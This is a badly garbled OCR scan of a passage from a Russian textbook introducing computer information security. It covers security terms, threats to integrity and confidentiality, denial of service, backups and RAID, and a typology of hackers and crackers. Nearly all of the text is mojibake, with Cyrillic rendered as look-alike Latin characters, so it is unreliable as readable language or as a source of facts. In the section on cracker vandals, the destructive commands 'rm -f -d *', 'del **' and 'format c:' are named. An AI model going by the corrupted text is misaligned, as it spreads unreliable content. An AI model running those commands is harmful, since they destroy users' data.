BBEJIEHUE

KoMnbIoTeps! HalLTH INHPOKOE IPHMCHEHHE B Pa3iIMYHBIX 00-
JACTAX 4eNOBEYECKON ACATENbHOCTH. Bce OGolbinee KOMMYECTBO
orncpauit ¥ NEHAOH HHGOPMALIMK XOBEPATCA HM AN 00paboTKH K
xpanenms. bonsmmaCTBO momb3oBaTEneit cumTaer HHQOPMALHIO,
BHIJABACMYIO KOMITBIOTEPOM, a0COIIOTHO AOCTOBEPHOH, a CAMH KOM-
NBIOTEPHl — HEMOTPSIHMBIMH.

K coxanensio, 310 He Tak. JJoCTOBEPHOCTh OTBETA KOMIIBIOTE-
pa 3aBHCHT OT BBEJACHHBIX B HEro JAHHBIX M NMPABHILHOCTH COCTaB-
ncHHOM mporpammel. Ownbka B IPOrpaMMe MM HETOYHBIE HCXOZ-
1LIC JAHHBIC MOTYT IIPMBECTH K BBIJAYC KOMITBIOTEPOM HEBEPHOrO
OrBeTa.

Kpome Toro, Henp3sa cOpackBars CO CIETOB BO3MOXKHOCTD IO-
CTOPOHHETO BMEINATENHCTBA B paboTy KOMITBIOTEPA, ITO MOXET IIPH-
neeTa K aGCOMOTHO HENPEACKA3yEMBIM PE3yabTaTaM.

Konen nepuoaa aGcomoTHOrO AOBEPHS K KOMIILIOTEPAM 03-
HAMEHOBAJICS Pa3fMYHBIMH, INHPOKO OCBELIAEMBLIMH B CPEACTBAX
MICCOBOH HMHGOpMALHHM, aTAKAMH HA KOMITBIOTCPHBIC CHCTEMEI OaH-
KOB, KPYITHBIX KOpHOpAIMif, KpaXkaMH ICHHOH KOMMCEPYECKOH HH-
dopmami. INMASMHE KOMITLIOTEPHBIX BHPYCOB, COBEPIIACMbIE HMH
Araky Ha XopHeBsie cepsepnl MinTeprera (Slammer) u kpynHbIX Kop-
nopanmii, Takax kak Microsoft (MyDoom), H¢ TONBKO BEIBEIM BO-
1POC KOMABIOTEPHOH GE30MacHOCTH HAa NMEPBOE MECTO, HO M IOCIY-
AILUM OCHOBAHMEM I NAHHYCCKMX MyOnmkauwii o «konne Harep-
Hera».

B xommbrorepHOii THTEpaType, CTau MOSBIATHCE CTAThH 00
oOHAPYXKEHHBIX B MPOrpaMMaxX YA3BHMOCTAX, PA3NIMYHEIE METOAB U
JICXHHYECKHE CPEJCTBA, CIIOCOOCTBYIOIHE NOBHIMICHHIO YPOBHA 3a-
muieHHocTH HH$popMmaipm. [lossunace cnenmamM3IvpoBaHHas JIHTC-
pirypa No 3amuTe KOMITLIOTEPHOH MHpOpMaLK, OPHEHTHPOBAHHAS
1A CIICIUAIIMCTOB B 3TOM 00aCTH.

Cefiuac 3HaHMS OCHOB KOMIIBIOTEPHOH HH(GOPMALMOHHOH
(X 1OIACHOCTH SBIAIOTCH 00A3aTEMBHBIMA JUIA TH000T0 CICIHAIHCTA
n 00IaCTH BRIYHUCIUTENBHBIX CHCTEM. JHAHHE MPOCTEHIIMX METOIOB
NHTHI OT aTaK, METOXOB OGecIeueHus JOCTOBEPHOCTH HCIIONb3ye-
Mot nHGOpMALMM, YMCHHE OPHEHTHPOBATHCH B IPCAJATacMBIX HA
PHNKC TIPOTPAMMHBIX H anMapaTHRIX CPEACTBAX 3alTH HH(pOpMa-
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mn VIO MIIIIMYM, KOTOPHIM JO/DKCH O0MNIajaTh COBPEMEHHBIH
crrernee |tUMllI'l("'CplllHK.

I8 annoil knure H3noXeH Kypce AeKiuii no qucprumae «Me-
PO B CPCAC TR SALETH KOMITBIOTEPHOH MHGOpMAIMM», KOTOPBIi
acion na wadeape «BeraucmmrensHoi TexHuKH» MOCKOBCKOro
I NN Y I PYIMOTCXHHEKH JIEKTPOHMKH U aBromatuku. Kype npex-
I nLeIcH Ul CTYAEHTOB, ofydatommxcs mo jucummmane 220100
< HanucnTenpHpIC MAHIMHBL, CHCTEMbI, KOMIUICKCH B CETU» U CIIy-
AT LIS O3HAKOMIICHHS C TEOPHSH ¥ NMPaKTHKO B 00NACTH 3armurhl
KOMILIOTEPHOH HH(OPMALHH.

B kaure H3nokeHs OCHOBHBIC MECTO/BI ATAK HA KOMITBIOTEPH H
CCTH; METOABI 3aIMHTH OT HMX. PaCCMOTPEHH OCHOBHBIC 334a4U H
BO3SMOXKHOCTH KpHUITOrpadme, NpHBEACHH! NPUMEPHI COBPEMEHHBIX
anropurMoB. Taloke pacCMOTPEHB! OCHOBHBIE MEXAHU3MBI H HHCTPY-
MCHTHI IOJIMTHKH HHpopMalmorHoi 6ezomacHocTu. Manoxenn me-
TOABI OPTaHH3ALMH KOHTPOIA (H3MICCKOr0 JOCTYNA, HEKOTOPHIC
MPOTOKONE! CETEBOH 6E30MacHOCTH M COBPEMEHHBIC ABTOMATH3HUPO-
BaHHbIE CPEACTBA 6E30NACHOCTH.

I'JIABA 1.
IIpeamer 3aumTa KOMNbIOTEPHOIH HHbDOPMANUH

Kax cneayer 13 Ha3BaHMs, IPEAMET MOCBAIIEH M3YYCHHIO Me-
TOJAOB 3aImuTH HH(OpMANMK, XpaHsImeHcs u oOpabaTeBalommiics ¢
NOMOIIBIO KOMITLIOTCPOB. ‘

Ins Hauana ONpPEACTMMCS C OCHOBHHIMH ONPEACICHHAMH H
TEPMUHAMH.

3amnTa HHGOpMALMH — 3TO KOMILIEKC MED, HANPABIICHHBIX
Ha MPeJOTBPAIEHUE YTpaThi HHGOPMAIMH, OrPaHHYCHHE JOCTYNA K
xon(uaernmansHoi unGopmarpu u obecriedeHus paboTocIocobHO-
it nE(OPMALHOHHEIX CHCTEM.

Vrpoza Ge3omacHoCTM — 3TC TNOTCHIMANBHO BO3MOMKHOC
npoucmecTsue (caydaifHoe MM NPEIHAMEPEHHOE), KOTOPOE MOXET
0Ka3aTh HEXKENATCILHOS U BIACIBLIA BO3ACHCTBHC Ha caMy CHC-
TEMY, @ TAIOKE HA XPaHAIYIOCS B Hell HHbopMapio.

VA3BEMOCTL — 3TO HEKOTOpas HEyAauHAs XapaKTEPHCTHKA
KOMITHIOTEPHON CHCTEMBI, ACNAIOMAS BO3MOXHBEIM BO3HHKHOBEHHE
YTPO3bL.

ATaxa -— 370 JeHCTBHE, MPEANPHHHMACMOE 3N0YMbIIIICHHH-
KOM, KOTOPOE 3aK/II0YACTCH B TIOMCKE H UCTIONIb30BAHNH YA3BHMOCTH.

U3 onpenenenns 3amuTsa *HOOPMAIMH, MOXKHO BEIACIHTS TPH
3anauw 3amuTe waGOpManyH:

— obecnieueHue NETOCTHOCTH M COXPAHHOCTH UHGOpMALHH;

— OrpaHwNEeHME AOCTYNA K BaKHOM WM CEKpeTHOH HH(bopMa-
(M,

— obecrieuenne paboTocrocoOHOCTH MH(OPMALMOHHBIX CHC-
TeM B HEOIArONPHATHRIX YCIIOBHAX.

3azaun 3amursl MHGOPMAIMH MOXHO TAKKe mepedopMymu-
poBatsb, KaK 60ps0y ¢ TpeMs yrposamu:

— Yrpo3oit HeI0CTHOCTH;

~ Vrpo30ii pacKpHTHS;

— VYrpo3oii orkasa B 06CKyKUBaHHH.

PaccmoTpuM 3TH yrpo3sl nnoapoGHee.



1. Yrpo3s! HeJOCTHOCTH M COXPAHHOCTH uH(popMaLmm:

— Hamepernoe aciicTBue 4enoBeka;

— He mamepennoe aeiicTeHe uenosexa;

— EcrecTenHbiil BHX0A HocHTenel MHBOpMaImm M3 CTpos;
— Kpaxka Hocureneit uapopmaimm;

— Hoxap, HaBOAHEHHE U APYTHC CTHXMIHBIC OCACTBYA.

He 3asucumo OT TOro, cydaifHeie JIH 3TO ACHCTBHA WM Ipea-
HaMEPCHHRLIC, ME/IOBEK MOXKET H3MCHMTH HIH YHHUYTOXHTH JIOOYIO
HH(POPMALHIO HA KOMIIBIOTEPE, Kak MPOrPaMMHBIMY, TaK M almnapar-
HeMH cpeacTsamu. Ecnn or caydaiinoii ommOku oneparopa MOXHO
3aIHTHTBCS OrPAHMYEHHMEM €ro NPAB HIIH AOTIOMHHTEIbHBIMA 3a1Ipo-
camMH Ha MOATBEPIKACHHME €ro JeHcTmid, TO OOPOTHCH C mMpexHaME-
PEHHBIMM HOIBITKAMH HCKRKCHUN WIH YHHYTOXCHHA HH(pOpMarmu
3HAYHTEABHO CIOXKHEE.

Hns obecnedenns uenocTaocT HHpOpMAMY OOBIMHO IpHME-
HAIOTCA CHENHAIbHbIE KpHITorpadmueckie METOABI, O KOTOPBIX
noiaer peus B 10 rnase. OcBoBHEIM MeTOAOM 00CCIIEYEHHA COXPaH-
HOCTH MH(OPMaLFH CIY)KHT PE3CPBHOE KONMMPOBAHHE W APXMBUPO-
BaHue uHpopMaImK, a TaloKe XyOnupoBaHue Hocurenel uH(popma-
HHH.

Coznanue pe3cpBHBIX KOMMIl JAHHBIX M NPOTPAMM HA pa3iug-
HEIX cMeHHBIX Hocuremx (CD, DVD, ZIV, crpuMmepnl, NEpeHOCHRE
xecTkne quck, flash-AucKu B T. 1) MO3BOIUT BOCCTAHOBHTH MH-
dopMaIMIO OpM €6 MCKAKEHHH, VJAICHUH WU YIPATe OCHOBHOIO
Hocurens MHbopmaimy. CpaBHHBas pe3epBHYIO KOIMIO ¢ OPHIMHA-
JIOM, TAKKE MOXKHO KOHTPOIMPOBATh ¥ LEIOCTHOCTh HH(POPMALTHH.

Jins perynapHOro cCo3zaHMs pe3epBHBIX KONMil OOBMHO mpY-
MCHSICTCA CICUMATHIUPOBAHHOE IPOrPaMMHOE ODECIICYECHHUE, BbI-
MOHAIONEE NEPEHOC YKA3AHHBIX MONH30BATENEM HIIM aAMUHHCTPA-
TOPOM KaTaJIoroB M (aiinos Ha ycTpolicTBa pesepBuposanms uadop-
MALHH.

Tak xak npH BOCCTRHOBICHMM NPOMANAET BCA MHGOpMALWA,
BHECEHHAA TIOCIIC CO3NAHMA PE3EPBHOMH KOMUM, pe3epBUpOBanue 3¢-
()EKTHBHO TONBKO MPH PEryJISPHOM HCIIONB3OBAHMM U BOIMOXHOCTH
BOCCTAHOBJICHHA TIOTEPAHHOM HA(OpPMALHYL.

Hybmaposanue Hocureneii HH(OpPMAIWAH, HATIPHMED pa3IHY-
Hbie yposHu Texnojorun RAID (kpome RAID-0Y), nossomser Go-
POTBCS C Yrpo30i BHIXOAA H3 CTPOS OFHOTO M3 HocHTeneH uudopma-
uun. Ho texnonorns RAID He nossonser 3alMUTHTBCA OT KPaX, CTH-
XuiHbIX GeacTBHIl WiH AeicTBHi nonb3osarens. IlosroMy 11 Mak-
CHMANIbHOR 3aIMMTH HH(GOPMAIMH CO34AI0T TEPPHTOPHANBLHO pac-
npeacncHHbie KyOmupytomue mndopManmonHsie cucteMul. Ipasaa
CTOHMOCTb TaKOH CHCTEMBI CYIIECTBCHHO IPEBHIMACT 3aTPaThl HA
cosnanue npocremero RAID-maccusa. UYem BHImIE LIEHHOCTH MH-
dopmarr u ymep6 ot ee yTpaTsl, TeM GONIbIIE CPEACTB CTOMT BJIO-
HHUTh B 00CCTIEIECHUE €€ COXPAHHOCTH.

CymecTByloT H  CHEIMAIM3UPOBAHHEIE  IPOrPAMMHO-
anmapaTrHee KOMIUICKCH BOCCTAHOBICHMS JAuHWX, 00ecreumsaro-
IUE COXPAHHOCTh M LENOCTHOCTh MHGOPMALMH HA 3aIHINAEMOM
xommbroTepe. Jna mpuMepa pacCMOTPHM CHELMANLHYIO KApTy BOC-
cranopiicHus Jannex LanSeal ResQ Card. Ona ycranarmusaercs B
PCl-cnor xoMipioTepa H, MMMTHPYS 3arpy3Ky C CETEBOH KapThl,
nposepset BIOS MaTepuHCcKo#i 1m1aThl 1 pa3aensl XKeCTKOro JHCKa Ha
COOTBETCTBMC XPAaHAWMEMYCS B NaMATH Kaptu oOpasy. [Ipu obuapy-
KCHMH pPa3NMIUi KapTa MPOH3BOAMT BOCCTAHOBACHHE MH(OpMaLMM
M3 XPaHAINErocs B €€ namsTH obpa3a. 3anucaHHBIH B NaMSTh KAPThHI
0bpa3 Gyner aBTOMATHYECKH BOCCTAHABIMBATLCS MO0 HPH KAXIOM
1icpesarpyske, 6o pa3 B AeHb, B 3aBHCHMOCTH OT Hactpoex. Kapra
HC TOJIBKO XPaHHT PE3CPBHYIO KONHIO HHGOPMALMHE, HO K CaMa, aB-
'TOMATHYECKH, BOCCTAHABIIMBAET €€ IPH JIOOOM HCKAXKCHHH.

JaHHyI0 KapTy MOXHO, KOHEYHO, MCTOb30BaTh M AJA KOM-
NbIOTEPOB C MOCTOSHHO MEHsMomeHcs uHdopmanweii, HO Toraa npu-
JICTCA PEryIApHO MPOH3BOIMTH 3aIMCh HOBOro 00pasa MMCKA B Ia-
maTh. Bonee nenecoobpa3sHO MCNOMB30BATE ITY KAPTY Mt KOMIBIO-
TcpoB OOMIEr0 JOCTYIIA, MM KOMITBIOTEPOB € PEAKO H3MEHAEMBIM
uH(OPMALIMOHHBIM HANOIHEHHUEM.

! Texzonorus RAID-0 no3sossier 1o6uTHCK YBEMUEHHA TIPOH3BONNTEIHHO-
CTH JIUCKOBOM CHCTEMBI KOMITBIOTEDA 33 CYET YMEHLINIEHHS HAJIEKHOCTH XPaHSHHUs
JNHGBIX H, CIEI0OBATENIHHO, HE MOXET CIYXHTh HEIM o0ecTIeYeHHs COXPAHHOCTH
wiopMarum.
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2. Yrposnt BITHA.

Vrposa pacKphITHS NPEANONATacT BO3MOMHOCTH YIONAJAaHMA
BAKHOM WM cexperHoi murdopmaimy K nocropoHHuM jmnam. [lo-
JIy9uTh BOKHYI HHOYOPMAIMIO MOXXHO KaK C IOMOIIBIO aKTHBHBIX
neiicreuit (kpaxa Hocurencit mubopMalmM, NOAKYN COTPYAHHKOE,
B3/IOM KOMIBIOTCPOB M T. II.), TAK M NMACCHUBHBIMH JCHCTBHSIMH —-
AHATM3NPYS OTKPHITYIO HHOPMALHIO. '

Ot akTHBHBIX ACHCTBHIT MOXKHO 3aITUTHTHCA PA3IHMIHBIMH Op-
FAHM3AIHOHHEIMM H TEXHMYCCKHMH JACHCTBHAMH, HANPABICHHBIMH
Ha pasrpaHIYeHHe MONMHOMOYHI M OrpaHHYEHHE AOCTYNa K uH(Op-
marmd. OCHOBHOH NPHHIMI OrpaHHYECHMA JOCTYNA -—— BCE, KOMY
uudopMaLHs He HyXHA J7is paboThl, XODKHBI OBITH THINCHB NpaBa
nocryna. Ipu 3tom daxr obpamenns k HHbOPMALMM JOIDKEH 00s13a-
TELHO PErUCTPHPOBATHCA.

Or nacCHBHBIX ACHCTBHIA 3AIMMTHTRCA rOpa3fo clnoxkuee. AHa-
M3 OTKPHITON HH(GOPMAIMHM HENMb3s KOHTPOIHMPOBATh HIIM OrpaHu-
gurh. M3 npocrefimix coobmenuii 0 IiaHUpyeMBIX MM 3aKITIOYEH~
HEIX CJENKaX MOXHO CAENIaTh BRIBOABI O GIaroCOCTOSHAM M HATIPAB-
nennu pazsutes (upmei. CaenoBatensHO, TpeOyeTcs NPOBOAHTDH
TINATENbHEIN aHamm3 moboit mapopManuy, NPeROCTaBIAEMOH B OT-
KpBITHIH JOCTYI.

B Hacrosmee Bpems, B OONBIIMHCTBE KOMMEpYECKHX GHpM
ecnu | 00paInaloT BHUMAHHE HA YTPO3bl PACKPHITHSA, TO OrpaHHYH-
Barorca Oope0oit ¢ akTHBHEMM AciicTBusamu. [lpu 3TOoM Ha HOBOCT-
HOH nepre caifra GupMu MoxeT HaxoauThes Bes uuGopManug o 2a-
KJTIOYCHHBIX, 3 OPOH M NPEANIONaracMeIX CAEIKaX.

3. Vrpo3n orka3a B 06cHyKHBAHHY.

Otka3 B oOGcnyxuBaHuH OOBIMHO HAacTymacr, ecnu mupopMma-
LUMOHHAS CHCTEMA HE CIPaBNACTCA C MOCTYNAIOMHMH 3aIpPOCaMH.
Ipu 3TOM OHa MOXET, KaK IPOCTO 3aMETUTh CBOIO paboTy, Tak H
OKa3aThCsd HEJOCTYIIHOM Jisf MONB30BATENECH MM MPOCTO «33aBHC-
HyTb». [leperpy3ka MOXET CTaTh CICACTBHEM ONHOH W3 TpeX NpH-
YMH:

~ Hecoorsercreue peanpHOH HArpy3kd ¥ MaKCHMAIBHO JO-
IYCTHMOM HArpy3Kku HHPOPMALHOHHON CHCTEMDI;
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— CnydaiiHoe pe3koe yBEIMYECHHE 4HCHA 3ampocoB K HHGOD-
MAIMOHHOM CHCTEME

~ YMBIILICHHOE YBEIMYCHAE KOMMUECTBA JOXKHBIX HIM HHYC-
r0 HE 3HAYAIMX 3aMPOCOB C LEIBIO NEPErPY3KH CHCTEMBI.

U3 Tpex BHINENEPEINCICHHBIX NPHUYMH mHeperpy3ku Hubop-
MAIMOHHOMH CHCTEMBI ATaKOM ABIIACTCH THIND MOCICAHAA.

K meroaam zamursl OT neperpy3ku HHPOPMALIOHHON CHCTe-
MBI OTHOCSATCH:

— Orpanmdenne xommuecTBa obpabGaTeiBacMbIX OOpamieHHI.
[Mo3BonseT 3amUTHTL CHCTEMY OT NEPErpy3KH, HO AN KIMEHTOB OHA
OCTaHeTCs HeOCTYITHOMA.

— Tlepexoxn Ha «obnerdeHHnii» pexum paborsl, Tpelyromuii
MCHBIIHX 3aTPaT PeCYpCcoB Or cucremui. He Bcerza BozMoXeH, HO
oucHb dbdekTHBeH B Cloydac CIydailHRIX BCIIECKOB AKTHBHOCTH
KIIMCHTOB.

— OrxmodeHue npreMa MHGOPMALMHA C NEPErpyxarolux y3-
n08. B cydae o0HapyxeHus ataxy MO3BOJMT HIHOPHPOBAThH BCE 3a-
IPOCH OT YKa3aHHBIX Y3I0B, HO OIOKHPOBKA I'PYHIT AAPECOB MOMKET
MPHBECTH K HEXOCTYITHOCTH CHCTEMBI JUIA YaCTH KIHEHTOB.

~ VBennueHHE MOIGHOCTH CHCTEM mpHeMa U o0paborku ws-
dopmanmm. Moker nOMOYb, €CIIM CHCTEMA HE CHPABIICTCH ¢ MOTO-
KOM 3afIpOCOB, HO MalIo 3¢ (CKTHBHA MPOTHB MOLTHEIX ATAK.

—~ Berpeunas ataka Ha meperpy3Ky aTakylompx Y3noB. 3a
cuer Gonpieii MOMMHOCTH Y3108 CHCTEMBI MOXHO BRIBECTH M3 CTPOA
aTaKyIOIHE KOMIBIOTEPEI H, TEM CaMbIM, IPEKpaTuTh araky. Criocod
SBISETCA OJHMUM M3 CaMBIX ACHCTBEHHBIX, HO HE PEKOMCHIYETCH
IPaBHIIAMH «XOPOIIEro TOHA». BCTpeuHas aTaka NPHBOJMT K YBEIH-

! HarnpriMep, yBelMueHHe HAarPY3Ky Ha HOBOCTHOM cadfT Hoclie Kakoro-jmoo
IPOMCIIECTBHMA, 3aTParMBalONIeTo METepechl Golbmoro Komudectsa jHozcit Eme
OZHMM IIPHMEPOM MOXeET CIYXMTH Cirydvaif, rpoucimeanmii 3 ¢espams 2004 r. B
3TOT JeHb MCTIONEMIOCh 111 ner maremaruxy I"acrory Mopucy Jkynra, koTopsiit
npocraswics B o6nacty ¢pakTanmHoil reoMerpun. B ero yects pyKoBOJACTBO ITOHC-
KOBMKA MOMEHSITIO Ha OMH JICHb JIOLOTHII, CChUTKA ¢ KOTOPOro Bejia HA IOKCK H30-
Gpaxxermit ppaxtanos. B uucie NepBHX pe3ynbTaToB OKaaNMCh CTPAHHMIL CEpBeEpa,
npuHamieKaniero CymHOEpHCKOMY TEXHONOTMMECKOMY YHMBEPCHTETY B aBCTpa-
muitckoM MensGypae, B mrate Buxropust. 113-3a Bospocmero xonwdecTsa ofpare-
HHIT cepBep BRINET W3 CTPOI.
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YEHMIO HATPY3KM HA JMHUM CBA3H, YTO yXYAMAeT paboTy ceTn u Mo-
XET IPHBECTH K BRIBOXY €€ M3 CTPOA — T. €. HOBOMY OTKaly B 06-

CITy)KHBAaHHH,

Ha 31oM 3aBepmmM pacCMOTpEHHE Yrpo3 H, POJOIDKAsA O3Ha-
KOMJICHME C OCHOBAMHM NpEAMETa, nepeiiaeM K pacCCMOTPEHMIO Kiiac-
cubukamum arak. Mul orpaHMuMMCH OXHOH KiIaccHbuKaimei, a
HMMCHHO 1O PACHOJIOKCHHIO ATAKYIOMEro K aTaKyeMOil CHCTEME:

— KonconsHei¢ (TOKATBHEIE) — aTAKU OCYLIECTB/ISIOTCA HA
KOMIBIOTED, K KOTOPOMY aTaKyiO{dil MMCET HEMOCPEACTBCHHBIN
bu3ugeckuit nocTyI;

— CereBbie (yAaleHHBIC) — aTAKM OCYIIECTBIIAIOTCH depes3
rro0ANBHYIO HIHM JIOKAIBHYIO CETh, KAK HA KOMITHIOTCPHI, T2aK H HA
IIEPEAABAEMYIO IO CETH HH(pOpMaLHIO.

TlorsTHO, ¥TO MOGad aTaka MPEANIONAracT HAMHMHE JKEPTBL K
araxyomero nuia. IIpo KepTBH H MX yA3BHMOCTH MBI YIKE FOBOpH-
11, TOTOMY HAYHEM 3HAKOMMTECA C TEMH, KTO atakyeT uHdopmauy-
OHHbIEC CHCTEMBHI.

IlepBriii, XTO NpUXOAXT Ha yM, Onaroaaps myMHXe B raserax
4 GrubMaM, 310 xakep. 3aTem, 10 CTCIEHH H3BECTHOCTH, MOXHO Ha-
3BaTh KpaKepos, kapoepos, hpuxepos. Eme cymecTByeT rpynmna Jmi,
HE MMCIOm@as yCTOABLICTOCS HA3BAHW, KTO-TO HA3IBIBACT HX Xayxe-
pbl, XTO-TO KYA-XAYKePbl BCTPCIACTCA H HA3BAHHE XAYkéPbl,

Caniasi W3BCCTHAA IPYIiia W3 BHIMCICPCHHCICHHNX ITO XGKe-
poi. KT10-TO cumraer ux reposmMu, G0pIOIUMEUCE C KOPIOpALHAMU B
MHJLTHOHEPaMH, KTO-TO — OTOpocaMH OOIMIECTBA H XYJIHTAHAMH.
OxHaxo POMaHTHYECKHH MM OTPULIATENbHEI KHHO-Ta3eTHHIA 06pas
Xakepa He COOTBETCTBYET NEHCTBHTEILHOCTH.

Ha camoMm jene, xaxep 310 CeUHAMCT, 3AHHMAIOMUICH UC-
CNCAOBaHMSIMH B OONACTH O€30MACHOCTH KOMIIBIOTEPHBIX CHCTEM.
OH MEeT HeJOCTATKH B BLIYMCIMTEABHBIX CHCTeMax ubo pasu ca-
Moro mpouecca, mabo mo 3axaly obmagarens 31oit cmcremu. Jins
NIPOBEPKH HAJEKHOCTH CHCTEMBI XaKep MOABEPTacT e¢ PasTUIHBIM
aTakaM ¥ aHaNM3HpyeT peakmuio Ha Hux. Ilopoit xaxep mposepser
cucreMy u 6e3 paspemeHua ce obnasarens, HO IJIaBHAN LENb XaKepa
— 3Hanns. OH HE NpecneayeT HAKUBH M HE 3AHAMACTCS XYJIHIaH-
CKHMH BHIXOIKAMH.
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B noxrsepacaue npuseneM onpeaeneuue xaxepall).

Xaxep (ot anrn. Hacker). 1. Mazusuxyym, kotopsiii momy4aer
YAOBOJNBCTBUE OT M3Y4yCHHA JcTaneil (PyHKHHOHMPOBAHHS KOMIIBIO-
TCPHBIX CHCTEM M OT PACIIMPEHHA HX BO3MOMKHOCTEH, B OTIMYHE OT
GonpnnaHcTBA NONB30BaTENCH KOMIIBIOTEPOB, KOTOPHE MPEATIOYHTA-
IOT 3HATh TONBKO HEOOXOAMMEIH MUHHMMYyM. 2. DHTY3HACT IporpaM-

.MHPOBAHUS; MHAMBHAYYM, MOIYYAIOMUA YAOBOILCTBHE OT CAMOTrO

HPOLIECCA MPOrpAMMHPOBAHHSA, 3 HE OT TECOPETU3HPOBAHUS 110 ITOMY
NOBOAY. .

Kpaxep xe, HaobOpOT, OCYHIECTBIAET BINOM CHCTEMH C LE-
JbIO MOMYYCHAS HECAHKIMOHHUPOBAHHOIO JOCTYNA K 4yXkOi uHboOp-
MauMy — HHA9E TOBOP, JUIS €€ KPAXKH, MOAMEHS! WK 118 oObaBie-
nus Gaxra ranoma. Kpaxep, o cBoeii CyTH, HIUEM He OTIHIAETCA OT
OOHYHOrO BOpa, B3JAMBIBAIOMIETO WYXKHE KBAPTHPH H KPAJAYIIEro
Bemy. On B3TaMBIBACT BRITHCIHTEIBHBIC CHCTEMBI M KPAAET JyIKYIO
unopmarmio. Mtak, riasHOE pasnudue MEXKY Xaxepamu M Kpaxe-
pamu B TOM, 9TO ICPBHEC — HCCICAOBATEIN KOMIBIOTEPHOI Gce30-
MACHOCTH, a BTOPHIC — BOPLI WIIH Banaams. Y Gonsmas wacts acii-
CTBHI, NPUITHCHBACMEIX XAKePaM, ABISETCS AEIIOM PYK KPAKepos.

Kapoepe: — mina, 3aduMaiomuecs KpaskaMu AeHer ¢ 6aHKOB-
CkuX KapT. OObIuHO ACHCTBYIOT Ipymmnoii, WIEHH KOTOpPOH JACHAT
Mexy coboit 0613aHHOCTH O XOOKME JAHHBIX O KAapTaxX, H3TOTOB-
NCHHIO TOAACTLHBIX KapT (ECIM MPEeIrionaraeTcs MCHonb30BaTh HMX
HE TOJIBKO B HHTCPHET-MArasHax), 3aKylKe TOBApOB IO KapraM M
CORIT POAYKUHH.

Dpuxepbl — IHNA, 3AHUMAOMUECH B3IOMOM Tene(OHHBIX
CHCTEM C HENbI0 YMEHBIINTL CTOHMOCTS (B HACANE A0 HYI) Teae-
donmmix neperosopos. JloGuBarorcs aroro mubo cpeacTBamMm Kap-
Ounza, TnbO aTaKkoH Ha CEPBEPhI TEHSHOHHEIX KOMNAHUA (KPAKunz),
160 nepeAenKko TeNe(OHHBIX aNNapaToB.

Hocneanss rpynma — xayxepol, Kyn-xaykepol u Opyzue — 310
HOCPEACTBCHHO Pa3OHPAIOIMUECK B KOMIBIOTEPAX MOMH, YAINE BCEro
NOAPOCTKM, KOTOPHIE PafM Pa3BICYCHHUS, MECTH WIH I AOKA3a-
TENLCTBA CBOEH «KPYTH3HBI» MCIONB3YIOT CO3AAHHBIC XaKEPAMU WK
Kpakepamu CPenCTBA JUIA B3NIOMA KOMITBIOTEPHBIX CHCTEM M XyIH-
FaHCTBA.
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W3 BceX BHIMENEPEYUCICHHRIX IPYNI, MKl PacCMaTpMBacM
TONBKO JBE — Xakepoe u kpaxepos. Ocranpubie b0 paborawor B
Apyroii obnacTy, MO MCIOMB3YIOT TEXHONOrHH BHIOPAHHKIX HAMH
rpyIn Ajis JOCTHKEHHS CBOMX HENCH.

llems xaxepos mpu aTake — 3TO0, KaK Y€ OTMEYANOCh, PO~
BEPKA YCTONYMBOCTH CHCTEMBI H TIPOCTOC JIOOOMKITCTBO.

Kpaxepoe no uenu B3ioMa NPHUHATO ACIHTL HA TPU KJIACCA:
GAHOGNbL, «ULYIMKUKU» K NPOPECCUOHANDbHBIE GINOMUUKY.

Banoanw — camas n3BectHas (6naronaps MIMpOKOMY pacmpo-
CTPAHEHHMIO BHPYCOB) M Camas MAJOYHMCICHHAA (K CYACTHIO) JacTh
kpakepog. Ix ocHOBHas LeIb — B3JIOMATE CHCTEMY IUIA €¢ Jajlb-
Heiimero paspymenus. K HUM MOXHO OTHECTH, BO-TICPBHIX, moGuTe-
neit xomaua tana rm -f -d *, del **, format c: /U u 1. X U, BO-
BTOPBIX, CHELUATHCTOB B HANMCAHWH BHPYCOB HIIM «TPOAHCKAX» KO-
seit. Ocoboit moBOBLI0 KOMIBIOTEPHOH OOIMECTBCHHOCTH KPAKEPbi-
eandansl HE NONb3YIOTCH, MX CKOPEE HEHABHAAT TIOTOH HEHABUCTHIO.
Ora cragus Kpaxkepcmea XapaxTepHa NS HOBHYKOB M OBICTPO mpo-
XOZHT, €CIIH Kpaxep MPONO/DKACT COBEPIICHCTBOBATHCA.

«lllymnuxu» — naubonee GezoOmanas 4acTb kpakepoe (ko-
HEYHO, B 3aBMCAMOCTH OT TOYO, HACKOJIBKO 3/ThIE OHM NPEAIOYHTAIOT
IIYTKH), OCHOBHAS LieTh KOTOPBIX — H3BECTHOCTD, JOCTHIACMAS ITy-
TEM B31IOMa KOMIIBIOTEPHMX CHCTCM H BHCCCHWSA TYAa Pa3IHIHBIX
a¢dexToB, BRpaxKAIOMMX HX TYBCTBO Jomopa. K «uymnuxam» rax-
7K€ MOXKHO OTHECTH CO3/ATeNeii BUPYCOB C Pa3IMIHBIMH BH3YaIbHO-
apykoBbiME d(dexravm (My3sIKa, JPOKAHAE WIH NIEPCBOPAYNBAHIE
JKpaHa, PUCOBAHHME BCEBO3MOMXKHBIX KAPTHHOK M T. IL). «[llymnuxu»,
KaK MpaBHJIO, HE HAHOCAT CYIECTBEHHOTO ymepda KOMIBIOTEPHEIM
CHCTEMaM M MX aJMHHHCTpaTopaMm (pa3ee wro Mopambhmil). Ha ce-
roaMAUIHUH JeHbL B cet Internet 3ro HanGonee pacHPOCTPAHCHHBIA
KNace Kpaxepoe, OObIMHO OCYINECTBISIOMUX B3NoM Web-cepsepos,
7T00B OCTABHTH TaM ynoMuHaHue o cebe. Bee 310 160 HEBHHHBIC
IIANIOCTH HAYMHAKOMEX, MO0 peKiiaMHbIe akimH npodeCCHOHANOB.

Banomuwuxu — npohecCHOHTBHBIE KPaKePbi, 3AHUMAIOIMUECS

B3JIOMOM KOMITBIOTEPHBIX CHCTCM C CECPBLE3HBIMH LICTIAMH, HANPUMCP ‘

C HENBIO KPAKHM MM MOAMEHH XpaHsineHcs tam wapopmanuu. Kax
OPaBWIIO, JJisl TOrO 9TO0B! OCYIECTBUTE B3IOM, HEOOXOMMO IMPOHTH
TPH OCHOBHBIC CTAAMH: MCCCLOBAHHC BBIMHCIHTCIbHON CHCTEMBL C
BHIABJICHHEM B HEH H3BAHOB (YSA3BUMOCTEH), pa3paborka mporpamm-
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Hoif peanM3alMM aTak¥ ¥ HEMOCPEJNCTBEHHOE €€ OCYIIECTBIICHHE.
FcrectBenHo, HacrosmuM NPodeCCHOHANIOM MOKHO CIHTATh TOIILKO
TOTO Kpakepa, KOTOPLIH Ui AOCTHXXCHHA CBOCH 1IENH MPOXOIUT BCE
